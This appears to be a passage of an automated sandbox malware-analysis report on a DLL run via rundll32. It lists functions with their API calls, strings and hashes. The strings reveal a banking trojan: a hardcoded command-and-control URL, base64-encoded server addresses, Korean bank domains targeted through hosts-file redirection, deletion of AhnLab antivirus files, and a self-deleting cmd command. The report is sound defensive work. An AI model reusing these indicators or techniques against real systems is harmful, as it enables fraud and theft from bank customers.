Opcode Fuzzy Hash: 9cda4d2d937ca9ea04656a738db3750c05e85a8b7bb6ff9873d4febcff501f4c
Instruction Fuzzy Hash: 9021E171204302ABE710DB28EC85BAB33E4EF857A0F014625F995C62C0D736D989CBA2

Function 1000C230 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 145
filewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

sprintf.MSVCRT ref: 1000C249
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000000,00000000), ref: 1000C266
DeviceIoControl.KERNEL32(00000000,00074080,00000000,00000000,?,00000018,?,00000000), ref: 1000C298
GetLastError.KERNEL32(00000400,?,00000000,00000000), ref: 1000C2AC
FormatMessageA.KERNEL32(00001300,00000000,00000000), ref: 1000C2BA

Strings

\\.\PHYSICALDRIVE%d, xrefs: 1000C243

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ControlCreateDeviceErrorFileFormatLastMessagesprintf
String ID: \\.\PHYSICALDRIVE%d
API String ID: 1111953355-613073274
Opcode ID: 2acd1e0c19e908a93b7c5b7100dcee112086fd50c9f33c41a1c608c64b3fe2b4
Instruction ID: 5ad80bb175373b9c79a99d82296efbae5e1858b0759fafeee38c0ba9caf204da
Opcode Fuzzy Hash: 2acd1e0c19e908a93b7c5b7100dcee112086fd50c9f33c41a1c608c64b3fe2b4
Instruction Fuzzy Hash: EE4128762503046BF324DA38DC46FEB7395EBD8760F508729FA55CB1C0EEB59A088395

Function 10004F60 Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,00000000,?,1000BB89,SeDebugPrivilege,00000001), ref: 10004F6A
OpenProcessToken.ADVAPI32(00000000,?,1000BB89,SeDebugPrivilege,00000001), ref: 10004F71
LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 10004F87
AdjustTokenPrivileges.KERNELBASE ref: 10004FCA
CloseHandle.KERNEL32 ref: 10004FD5

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentHandleLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3038321057-0
Opcode ID: 6492371ed49e88a72c7fec690fb5aec638d8b1baddfd75691bf953eb0ca51b84
Instruction ID: c701719b87b05cfe8771a17752f492869be4f49267ac35e7975cb97a64b2d278
Opcode Fuzzy Hash: 6492371ed49e88a72c7fec690fb5aec638d8b1baddfd75691bf953eb0ca51b84
Instruction Fuzzy Hash: B001D7B8608301ABE704DF64C885B6A77E8FBC8B45F40891CF58986294DB74D945CB62

Function 1000C160 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

DeviceIoControl.KERNEL32(00000000,0007C088,?,00000020,?,00000210,1000C305,00000000), ref: 1000C1B0

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ControlDevice
String ID:
API String ID: 2352790924-0
Opcode ID: 922dce9e470f2a9cc2907bd16655acb977d25aac2a30b40252a160cce2e3ee64
Instruction ID: 86cc3cd5e500d09f34f504799c04322c58a7eb8eb055a7fb12ab9f39681c7df9
Opcode Fuzzy Hash: 922dce9e470f2a9cc2907bd16655acb977d25aac2a30b40252a160cce2e3ee64
Instruction Fuzzy Hash: 98F0A96228A3C29EE302CB688855BD2FFA47B76710F0CD7C9E1D85B283C2548598D766

Function 10004AA0 Relevance: 1.5, APIs: 1, Instructions: 6processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000000,00000000,10006A02,00000002,00000000,00000000,00000000), ref: 10004AAA

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CreateSnapshotToolhelp32
String ID:
API String ID: 3332741929-0
Opcode ID: ffb66c5084afd78fca587a2f1059ca1cf85e345028acd843578f3c2e5860b739
Instruction ID: 060d65689bf084ce19dac5ab6480e93eac1479a40d4c6f650e99f699fddfa71d
Opcode Fuzzy Hash: ffb66c5084afd78fca587a2f1059ca1cf85e345028acd843578f3c2e5860b739
Instruction Fuzzy Hash: BEB09276104200ABD204DB10C984C2BB7E8AB94340B008808F88682110C634D880CB21

Function 1000BB20 Relevance: 77.3, APIs: 29, Strings: 15, Instructions: 267
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10006AA0: wsprintfA.USER32 ref: 10006ACE
Part of subcall function 10006AA0: GetModuleFileNameA.KERNEL32(00000000,c:\windows\SysWOW64\rundll32.exe,00000104,1000BB2D), ref: 10006AE5
Part of subcall function 10006AA0: GetModuleFileNameA.KERNEL32(10000000,c:\yucdh\qtbbkpjim.dll,00000104), ref: 10006AF7
Part of subcall function 10006AA0: strrchr.MSVCRT ref: 10006B25
Part of subcall function 10006AA0: wsprintfA.USER32 ref: 10006B3D
Part of subcall function 10006AA0: wsprintfA.USER32 ref: 10006B4E
Part of subcall function 10006AA0: wsprintfA.USER32 ref: 10006B5F

PathFileExistsA.SHLWAPI(c:\test.1), ref: 1000BB32
GetCurrentProcessId.KERNEL32 ref: 1000BB3C

Part of subcall function 10004FF0: OpenProcess.KERNEL32(001F0FFF,00000000,?,?,1000509A,?,75570F00), ref: 10004FFD
Part of subcall function 10004FF0: TerminateProcess.KERNEL32(00000000,00000000), ref: 1000500C
Part of subcall function 10004FF0: CloseHandle.KERNEL32(00000000), ref: 10005017

ExitProcess.KERNEL32 ref: 1000BB4D
CreateMutexA.KERNEL32(00000000,00000001,Mkrnaver.com:6520), ref: 1000BB5D
GetLastError.KERNEL32 ref: 1000BB63
Sleep.KERNEL32(000007D0), ref: 1000BC33
DeleteFileA.KERNEL32(?), ref: 1000BC36
CreateThread.KERNEL32(00000000,00000000,10009280,00000000,00000000,00000000), ref: 1000BC5B
Sleep.KERNEL32(000003E8), ref: 1000BC62

Strings

MTc0LjEzOS42NS44Njo1NjU4MA==, xrefs: 1000BC6D
d3d3LnNoaW5oYW4uY29tfHNlYXJjaC5kYXVtLm5ldHxzZWFyY2gubmF2ZXIuY29tfHd3dy5rYnN0YXIuY29tLmlrcnx3d3cua25iYW5rLmNvLmtyLmlrcnxvcGVuYmFuay5jdS5jby5rci5pa3J8d3d3LmJ1c2FuYmFuay5jby5rci5pa3J8d3d3Lm5vbmdoeXVwLmNvbS5pa3J8d3d3LnNoaW5oYW4uY29tLmlrcnx3d3cud29vcmliYW5rLmNvbS5p, xrefs: 1000BCAA
SeDebugPrivilege, xrefs: 1000BB7F
cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "%s", xrefs: 1000BE1C
www.shinhan.com|search.daum.net|search.naver.com|www.kbstar.com.l|www.knbank.co.kr.l|openbank.cu.co.kr.l|www.busanbank.co.kr.l|www.nonghyup.com.l|www.shinhan.com.l|www.wooribank.com.l|www.hanabank.com.l|www.epostbank.go.kr.l|www.ibk.co.kr.l|www.idk.co.l|www.ke, xrefs: 1000BCE3
http://107.163.241.204:12354/show.php, xrefs: 1000BCB9
aHR0cDovLzE3NC4xMzkuNjUuMjIyOjI1MzY4L25ld3MucGhw, xrefs: 1000BC7E
c:\wiseman.exe, xrefs: 1000BBF8, 1000BC12
Mkrnaver.com:6520, xrefs: 1000BB54
c:\yucdh\ReadMe.txt, xrefs: 1000BB8E, 1000BBDA
krnaver.com:6520, xrefs: 1000BC8D, 1000BD0B
c:\test.1, xrefs: 1000BB2D
c:\yucdh, xrefs: 1000BE13
c:\windows\system32, xrefs: 1000BC0B
123, xrefs: 1000BBBA

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: FileProcesswsprintf$CreateModuleNameSleep$CloseCurrentDeleteErrorExistsExitHandleLastMutexOpenPathTerminateThreadstrrchr
String ID: 123$MTc0LjEzOS42NS44Njo1NjU4MA==$Mkrnaver.com:6520$SeDebugPrivilege$aHR0cDovLzE3NC4xMzkuNjUuMjIyOjI1MzY4L25ld3MucGhw$c:\test.1$c:\windows\system32$c:\wiseman.exe$c:\yucdh$c:\yucdh\ReadMe.txt$cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "%s"$d3d3LnNoaW5oYW4uY29tfHNlYXJjaC5kYXVtLm5ldHxzZWFyY2gubmF2ZXIuY29tfHd3dy5rYnN0YXIuY29tLmlrcnx3d3cua25iYW5rLmNvLmtyLmlrcnxvcGVuYmFuay5jdS5jby5rci5pa3J8d3d3LmJ1c2FuYmFuay5jby5rci5pa3J8d3d3Lm5vbmdoeXVwLmNvbS5pa3J8d3d3LnNoaW5oYW4uY29tLmlrcnx3d3cud29vcmliYW5rLmNvbS5p$http://107.163.241.204:12354/show.php$krnaver.com:6520$www.shinhan.com|search.daum.net|search.naver.com|www.kbstar.com.l|www.knbank.co.kr.l|openbank.cu.co.kr.l|www.busanbank.co.kr.l|www.nonghyup.com.l|www.shinhan.com.l|www.wooribank.com.l|www.hanabank.com.l|www.epostbank.go.kr.l|www.ibk.co.kr.l|www.idk.co.l|www.ke
API String ID: 666504283-2619051846
Opcode ID: eeceb974db4162b4b79dbcfdfdf24e000be0470a91cd1a8cc186129b97d64d08
Instruction ID: 5cd0a8869e93d6a979fce39eaddf385ca287bc042528285295ef5772baaaf24e
Opcode Fuzzy Hash: eeceb974db4162b4b79dbcfdfdf24e000be0470a91cd1a8cc186129b97d64d08
Instruction Fuzzy Hash: 42710275784B043BF260E7B49C47FAA3581DB85B95F210618F706BE1C6DEE0FA44816E

Function 10007640 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 168
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strstr.MSVCRT ref: 100076EB
strstr.MSVCRT ref: 1000770F
strcspn.MSVCRT ref: 1000771E
strstr.MSVCRT ref: 1000772A
strcspn.MSVCRT ref: 10007739
strncpy.MSVCRT ref: 10007742
strstr.MSVCRT ref: 1000777F
strcspn.MSVCRT ref: 10007792
strncpy.MSVCRT ref: 100077A2
strcspn.MSVCRT ref: 100077B2
atoi.MSVCRT(?), ref: 100077B9
WSAStartup.WS2_32(00000202,?), ref: 100077D3
htons.WS2_32(00000000), ref: 100077E5
socket.WS2_32(00000002,00000001,00000000), ref: 1000780A
connect.WS2_32(00000000,?,00000010), ref: 1000781A
closesocket.WS2_32(00000000), ref: 10007826

Strings

V4u, xrefs: 100077E5
http://, xrefs: 100076E5

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: strcspnstrstr$strncpy$Startupatoiclosesocketconnecthtonssocket
String ID: http://$V4u
API String ID: 2221484516-2647171287
Opcode ID: e796253f5733396ff72147a4a2ef7bd5d4f44e6beee7f9c8da961514743a8591
Instruction ID: 0e5d105b79d1c08d9eecff392c4fb5612e00c83b4c249196a63be804c0ca8b01
Opcode Fuzzy Hash: e796253f5733396ff72147a4a2ef7bd5d4f44e6beee7f9c8da961514743a8591
Instruction Fuzzy Hash: 0851D4312043406BE314DB34CC45BEBB7D9FFC9354F404A2DFA5997280EB79D65886A6

Function 10009290 Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 205
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001000: lstrcpy.KERNEL32(00000000,00000001), ref: 10001155

Sleep.KERNEL32(0000EA60), ref: 100092D8
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 10009323
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1000932F
Sleep.KERNEL32(000927C0), ref: 10009470
wsprintfA.USER32 ref: 100094C1
Sleep.KERNEL32(000927C0), ref: 1000951B

Strings

c:\1.txt, xrefs: 1000945C
XGRyaXZlcnNcZXRjXGhvc3Rz, xrefs: 10009331
http://107.163.241.204:12354/show.php, xrefs: 10009417
XGRyaXZlcnNcZXRjXGhvc3RzLmljcw==, xrefs: 1000934F
QVNEU3ZjLmV4ZQ==, xrefs: 1000929E
iOffset, xrefs: 10009457
QVlSVFNydi5heWU=, xrefs: 100092A8

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Sleep$DirectorySystem$lstrcpywsprintf
String ID: QVNEU3ZjLmV4ZQ==$QVlSVFNydi5heWU=$XGRyaXZlcnNcZXRjXGhvc3Rz$XGRyaXZlcnNcZXRjXGhvc3RzLmljcw==$c:\1.txt$http://107.163.241.204:12354/show.php$iOffset
API String ID: 2291147283-2972267883
Opcode ID: 3947ad85ef8615cbfb42fece4b63a6b130437b3477a6dfc2854689d71249a6be
Instruction ID: 4b4f84e37046363ba8aa3a5b9b5c37e80be516aa45bc2cdeab28b5ca764bbc5e
Opcode Fuzzy Hash: 3947ad85ef8615cbfb42fece4b63a6b130437b3477a6dfc2854689d71249a6be
Instruction Fuzzy Hash: 515147755046446BE765C674CC52BEB36C6EBC83D0F100A3CF74A872C6EE71EA498692

Function 10004DA0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 145
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,?,75570F00,10005086,00000000,self), ref: 10004DFC
strrchr.MSVCRT ref: 10004E09
CreateFileA.KERNEL32(?,10000000,00000007,00000000,00000004,00000080,00000000), ref: 10004E62
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 10004E78
time.MSVCRT(00000000), ref: 10004E7F
_localtime32.MSVCRT(?), ref: 10004E8E
strftime.MSVCRT ref: 10004EA1
vsprintf.MSVCRT ref: 10004EF3
sprintf.MSVCRT ref: 10004F13
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 10004F3D
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 10004F44

Strings

%s%s, xrefs: 10004F0D
log.txt, xrefs: 10004E1D

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: File$CloseCreateHandleModuleNamePointerWrite_localtime32sprintfstrftimestrrchrtimevsprintf
String ID: %s%s$log.txt
API String ID: 2392943451-1489102009
Opcode ID: d1bdc3c774a689637d6f495e9813b9ee9ac93210ea13629b8e67d8557dd03d55
Instruction ID: d5d278936535e4cba90bc0b152de8e4c93260a9cf759ec48f07ff2ba3d5d953d
Opcode Fuzzy Hash: d1bdc3c774a689637d6f495e9813b9ee9ac93210ea13629b8e67d8557dd03d55
Instruction Fuzzy Hash: DF41B5B1148345AFE328CB74CC899EB7BA9EBC8350F404A2DF75A872D0DFB499098651

Function 1000B6A0 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 189
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1000B6EA
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1000B6F9

Part of subcall function 10001000: lstrcpy.KERNEL32(00000000,00000001), ref: 10001155

Sleep.KERNEL32(000927C0), ref: 1000B822
wsprintfA.USER32 ref: 1000B8A7
WinExec.KERNEL32(cmd.exe /c ipconfig /flushdns,00000000), ref: 1000B8C9
Sleep.KERNEL32(000927C0), ref: 1000B8D5

Strings

8.8.8.8, xrefs: 1000B8B0
XGRyaXZlcnNcZXRjXGhvc3Rz, xrefs: 1000B6FB
http://107.163.241.204:12354/show.php, xrefs: 1000B7DB
127.0.0.1, xrefs: 1000B8B5
XGRyaXZlcnNcZXRjXGhvc3RzLmljcw==, xrefs: 1000B716
cmd.exe /c ipconfig /flushdns, xrefs: 1000B8C4

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: DirectorySleepSystem$Execlstrcpywsprintf
String ID: 127.0.0.1$8.8.8.8$XGRyaXZlcnNcZXRjXGhvc3Rz$XGRyaXZlcnNcZXRjXGhvc3RzLmljcw==$cmd.exe /c ipconfig /flushdns$http://107.163.241.204:12354/show.php
API String ID: 3328814713-1394719493
Opcode ID: 5ededa175b8e96c9b9bc53b0268d409d7794e43692312860f689a34b4737d91d
Instruction ID: 88cf6c134119007ad9893c1780bc282dad92caf7e2c613694f1faa43efeb6312
Opcode Fuzzy Hash: 5ededa175b8e96c9b9bc53b0268d409d7794e43692312860f689a34b4737d91d
Instruction Fuzzy Hash: 6C517F71504A486BE764CE74CC51AEB3BCAEBC8290F104A3CF7468B2D5EE75D948C391

Function 027807DD Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 151
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,ABAD1000,00001000,00000040,02781100), ref: 0278085C
wsprintfA.USER32 ref: 027808E1
wsprintfA.USER32 ref: 02780900
MessageBoxA.USER32(00000000,File corrupt.,Application error,00000010), ref: 02780918
ExitProcess.KERNEL32(00000000), ref: 02780920
VirtualFree.KERNELBASE(04290000,00000000,00008000,ED815D00), ref: 02780969

Strings

SWVU, xrefs: 02780864, 02780878, 0278087E, 02780884, 027808A1
File corrupt., xrefs: 02780915
The ordinal %d could not be located in the DLL %s., xrefs: 027808D9
The procedure %s could not be located in the DLL %s., xrefs: 027808F8
Application error, xrefs: 02780914

Memory Dump Source

Source File: 00000006.00000002.3886777699.0000000002780000.00000040.00001000.00020000.00000000.sdmp, Offset: 02780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2780000_rundll32.jbxd

Similarity

API ID: Virtualwsprintf$AllocExitFreeMessageProcess
String ID: Application error$File corrupt.$SWVU$The ordinal %d could not be located in the DLL %s.$The procedure %s could not be located in the DLL %s.
API String ID: 81942880-1423270863
Opcode ID: c79b1c611a59b2f0b62d6b76279985f839f984ab3ab89f0c580d4d927e070505
Instruction ID: 2304710821b73fda10cc19684920aa20dd4cc48766c59612a4d41ccec66d696c
Opcode Fuzzy Hash: c79b1c611a59b2f0b62d6b76279985f839f984ab3ab89f0c580d4d927e070505
Instruction Fuzzy Hash: F641A0326817069FEB39EF64CC44FEB73A5EF44355F044118EE5697249EB70A828CB90

Function 10007850 Relevance: 17.9, APIs: 7, Strings: 3, Instructions: 427
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 100078B3

Part of subcall function 10004940: InternetOpenA.WININET(?,?,?,?,?), ref: 10004959

Strings

title, xrefs: 10007A57, 10007A68
http://blog.sina.com.cn/u/%s, xrefs: 100078A7
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0), xrefs: 100078D5

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: InternetOpenwsprintf
String ID: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)$http://blog.sina.com.cn/u/%s$title
API String ID: 4197039022-1204782975
Opcode ID: 999803450e33462b64aaa07c69cc296db7b29de33b2c74d620c9af4bde4234c4
Instruction ID: 82104e091b356ad4de5d2ae183cb47f0814ad9c1a023d1d303f6ff2c213bd519
Opcode Fuzzy Hash: 999803450e33462b64aaa07c69cc296db7b29de33b2c74d620c9af4bde4234c4
Instruction Fuzzy Hash: F1D14D76E002446FEB14CF68DC81BFEBBA5FB44260F10426EF9199B6C1DA769E01C791

Function 10006F70 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 151
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000002,?,00000000,000F003F,?,?,?,?), ref: 10006F9F
GlobalMemoryStatusEx.KERNEL32(?), ref: 10007059
GetSystemDefaultUILanguage.KERNEL32(?,?,?,?,?,?), ref: 100070B2

Part of subcall function 10004C70: RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,75570F10,?,1000AAC6,?,75570F10,00000000,000000FF,?,00000104,?,?,?), ref: 10004C8E

Part of subcall function 10004C60: RegCloseKey.KERNEL32(1000AB02,1000AE3A,80000002,1000AB02,?,?,?,?,75570F00), ref: 10004C65

Strings

ProcessorNameString, xrefs: 10006FC1
http://107.163.241.204:12354/show.php, xrefs: 10007135
Find CPU Error, xrefs: 10007011
HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 10006F82
%u MB, xrefs: 1000707C
09161305, xrefs: 10007087
@, xrefs: 10007050

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CloseDefaultGlobalLanguageMemoryOpenQueryStatusSystemValue
String ID: %u MB$09161305$@$Find CPU Error$HARDWARE\DESCRIPTION\System\CentralProcessor\0$ProcessorNameString$http://107.163.241.204:12354/show.php
API String ID: 2543995030-3890994293
Opcode ID: 04e96228e0e3d9f47cdf2a2d425d0abb0993c31dc86e1b0c7f7d2b12df92022a
Instruction ID: 316c48cea05fc17e5b33d1146d442ec5acb36131d7d9cd43852f4a50c879d7bc
Opcode Fuzzy Hash: 04e96228e0e3d9f47cdf2a2d425d0abb0993c31dc86e1b0c7f7d2b12df92022a
Instruction Fuzzy Hash: B141F6766002045BE718CA38DC41BAB77D5FBC8350F544A2CFA59CB2C5EE78A9088795

Function 1000B8E0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 65
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 1000B95F
DeleteFileA.KERNEL32(?), ref: 1000B96F
wsprintfA.USER32 ref: 1000B990
DeleteFileA.KERNEL32(?), ref: 1000B99A
DeleteFileA.KERNEL32(C:\1.vbs), ref: 1000B9A1

Strings

InstallPath, xrefs: 1000B92A
%s\V3Lite.exe, xrefs: 1000B98A
C:\1.vbs, xrefs: 1000B99C
U09GVFdBUkVcQWhuTGFiXFYzTGl0ZQ==, xrefs: 1000B92F
%s\ASDSvc.exe, xrefs: 1000B959

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: DeleteFile$wsprintf
String ID: %s\ASDSvc.exe$%s\V3Lite.exe$C:\1.vbs$InstallPath$U09GVFdBUkVcQWhuTGFiXFYzTGl0ZQ==
API String ID: 1588361905-790033058
Opcode ID: 4fdcb9e3cb7b7d7e48ae1263caf4d0724849cc799b86168a61aa29251073b66c
Instruction ID: 12df29d0951342ddc407d4625d5417db9b39606e010889d188617410b2ef4019
Opcode Fuzzy Hash: 4fdcb9e3cb7b7d7e48ae1263caf4d0724849cc799b86168a61aa29251073b66c
Instruction Fuzzy Hash: 1D110AB25043447EE714D264DC82EEBB7A9EBC8350F00892DF78897141EAB8A54887A3

Function 10008D40 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61
sleepsynchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000202,?), ref: 10008D63

Part of subcall function 100048E0: CreateMutexA.KERNEL32(?,?,?,10008E45), ref: 100048EF

GetLastError.KERNEL32 ref: 10008D7C
CloseHandle.KERNEL32(00000000), ref: 10008DEE

Part of subcall function 10007850: wsprintfA.USER32 ref: 100078B3

Sleep.KERNEL32(0002BF20,00000000,00000000), ref: 10008DB0
CreateThread.KERNEL32 ref: 10008DCC
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 10008DD7
CloseHandle.KERNEL32(00000000), ref: 10008DDE
Sleep.KERNEL32(0002BF20), ref: 10008DE9

Strings

0x5d65r455f, xrefs: 10008D69
5655029807, xrefs: 10008D9A

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CloseCreateHandleSleep$ErrorLastMutexObjectSingleStartupThreadWaitwsprintf
String ID: 0x5d65r455f$5655029807
API String ID: 3565103679-1179119988
Opcode ID: 1a60569a9e1742063054e6702fb1a97b3fe3fc6207dee1b9403882afc8ef0e3e
Instruction ID: a4b02c7b1a945233db63801da5c4659620b852bd9fb6bbf2a3dc4b8ff304b1f7
Opcode Fuzzy Hash: 1a60569a9e1742063054e6702fb1a97b3fe3fc6207dee1b9403882afc8ef0e3e
Instruction Fuzzy Hash: 7D1126B6640228B7F360E3609C8AFAA3648EB59395F054235FB09991C6DF709910C7AB

Function 1000C3E0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Netbios.NETAPI32 ref: 1000C41F
Netbios.NETAPI32(?), ref: 1000C45B

Strings

%02X%02X%02X%02X%02X%02X, xrefs: 1000C558
3, xrefs: 1000C4BE
2, xrefs: 1000C452

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Netbios
String ID: %02X%02X%02X%02X%02X%02X$2$3
API String ID: 544444789-1505804699
Opcode ID: e910e69c9fb7de07cf29225844011438d3ce8845e5ccdbd5dc600c0cf43283cc
